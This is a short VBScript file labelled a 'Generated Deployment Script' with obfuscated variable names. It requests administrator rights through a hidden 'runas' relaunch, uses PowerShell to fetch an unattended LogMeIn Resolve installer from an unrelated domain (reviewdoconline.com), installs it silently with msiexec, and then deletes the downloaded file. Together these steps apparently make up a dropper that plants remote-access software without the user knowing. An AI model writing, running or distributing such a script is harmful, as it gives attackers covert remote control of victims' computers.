' Generated Deployment Script
Option Explicit

Dim bGpsXn, bkQZNf, phuFce, bqeqdp, mgNUGq



Set bGpsXn = CreateObject("WScript.Shell")
Set bkQZNf = CreateObject("Scripting.FileSystemObject")

' Check for administrative privileges
If Not WScript.Arguments.Named.Exists("elevate") Then
    CreateObject("Shell.Application").ShellExecute WScript.FullName, """" & WScript.ScriptFullName & """ /elevate", "", "runas", 0
    WScript.Quit
End If

phuFce = bGpsXn.ExpandEnvironmentStrings("%TEMP%")
bqeqdp = phuFce & "\installer481.msi"

' Download the installer using PowerShell
mgNUGq = "powershell -Command ""(New-Object Net.WebClient).DownloadFile('" & "https://www.reviewdoconline.com/LogMeInResolve_Unattended.msi" & "', '" & bqeqdp & "')"""
bGpsXn.Run mgNUGq, 0, True

' Run the installer silently
If bkQZNf.FileExists(bqeqdp) Then
    mgNUGq = "msiexec /i """ & bqeqdp & """ /qn"
    bGpsXn.Run mgNUGq, 0, True
    
    ' Cleanup
    ' Wait a bit for installer to start
    WScript.Sleep 5000 
    ' Note: Self-deleting immediately might fail if installer still has handle, but we try
    On Error Resume Next
    bkQZNf.DeleteFile bqeqdp
    On Error GoTo 0
End If

Set bGpsXn = Nothing
Set bkQZNf = Nothing
